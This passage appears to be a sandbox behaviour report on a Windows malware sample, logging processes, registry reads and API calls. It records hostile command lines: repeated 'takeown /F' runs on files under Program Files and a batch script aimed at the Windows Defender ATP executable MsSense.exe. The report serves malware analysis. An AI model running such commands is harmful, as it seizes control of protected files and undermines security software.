Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 48	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn

Process #164: takeown.exe

0

»

Information	Value
ID	#164
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:47, Reason: Child Process
Unmonitor	End Time: 00:03:53, Reason: Self Terminated
Monitor Duration	00:00:06
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x12ec
Parent PID	0x1204 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 12F4 0x 11D4 0x 1158

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #165: takeown.exe

0

»

Information	Value
ID	#165
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:47, Reason: Child Process
Unmonitor	End Time: 00:03:53, Reason: Self Terminated
Monitor Duration	00:00:05
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x11f8
Parent PID	0xd64 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 12FC 0x DBC

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #166: cmd.exe

58

0

»

Information	Value
ID	#166
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "vt mapping.exe" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:49, Reason: Child Process
Unmonitor	End Time: 00:04:22, Reason: Self Terminated
Monitor Duration	00:00:33

OS Process Information

»

Information	Value
PID	0x10fc
Parent PID	0x1088 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1264 0x 116C

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x1264

58

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0x10c4, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn

Process #167: cmd.exe

0

»

Information	Value
ID	#167
File Name	c:\windows\system32\cmd.exe
Command Line	C:\WINDOWS\SYSTEM32\cmd.exe /c "C:\Users\FD1HVy\AppData\Roaming\V1nQ8f0P.bat"
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:03:50, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:35
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xc38
Parent PID	0x3c0 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x DF4

Process #168: wmiprvse.exe

0

»

Information	Value
ID	#168
File Name	c:\windows\system32\wbem\wmiprvse.exe
Command Line	C:\WINDOWS\system32\wbem\wmiprvse.exe -secured -Embedding
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:03:50, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:35
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x134c
Parent PID	0x2b4 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Network Service
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x B60 0x 174 0x 1370 0x A60 0x 11E4 0x 11D0 0x 1254 0x 498 0x 13D0

Process #169: cmd.exe

132

0

»

Information	Value
ID	#169
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:51, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:34

OS Process Information

»

Information	Value
PID	0xfac
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x E40 0x 1270

Threads

Thread 0xe40

132

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 94	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x11cc, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 79	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn

Process #170: takeown.exe

0

»

Information	Value
ID	#170
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:51, Reason: Child Process
Unmonitor	End Time: 00:03:53, Reason: Self Terminated
Monitor Duration	00:00:02
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x13c0
Parent PID	0x138c (c:\windows\syswow64\cacls.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1284 0x 504

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #172: takeown.exe

0

»

Information	Value
ID	#172
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\Windows Security\BrowserCore\manifest.json"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:52, Reason: Child Process
Unmonitor	End Time: 00:03:54, Reason: Self Terminated
Monitor Duration	00:00:01
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xaec
Parent PID	0xed0 (c:\windows\syswow64\takeown.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 4BC 0x 1144

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #173: mxkefu6a.exe

181

0

»

Information	Value
ID	#173
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
Command Line	mxkeFu6a.exe -accepteula "vt mapping.exe" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:53, Reason: Child Process
Unmonitor	End Time: 00:04:19, Reason: Self Terminated
Monitor Duration	00:00:26

OS Process Information

»

Information	Value
PID	0x10c4
Parent PID	0x10fc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 13DC 0x 117C

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	Actions
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004080C0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040AE73	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040579A	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040B435	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00409AC9	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00406078	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040DEC6	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00410AB1	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00412434	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00416A09, 0x00415F2F, ...	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004048D4	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040C3C0, 0x004112CE	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004020F0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Process Termination	-	32-bit	-	... Region Actions Download Dump

Threads

Thread 0x13dc

181

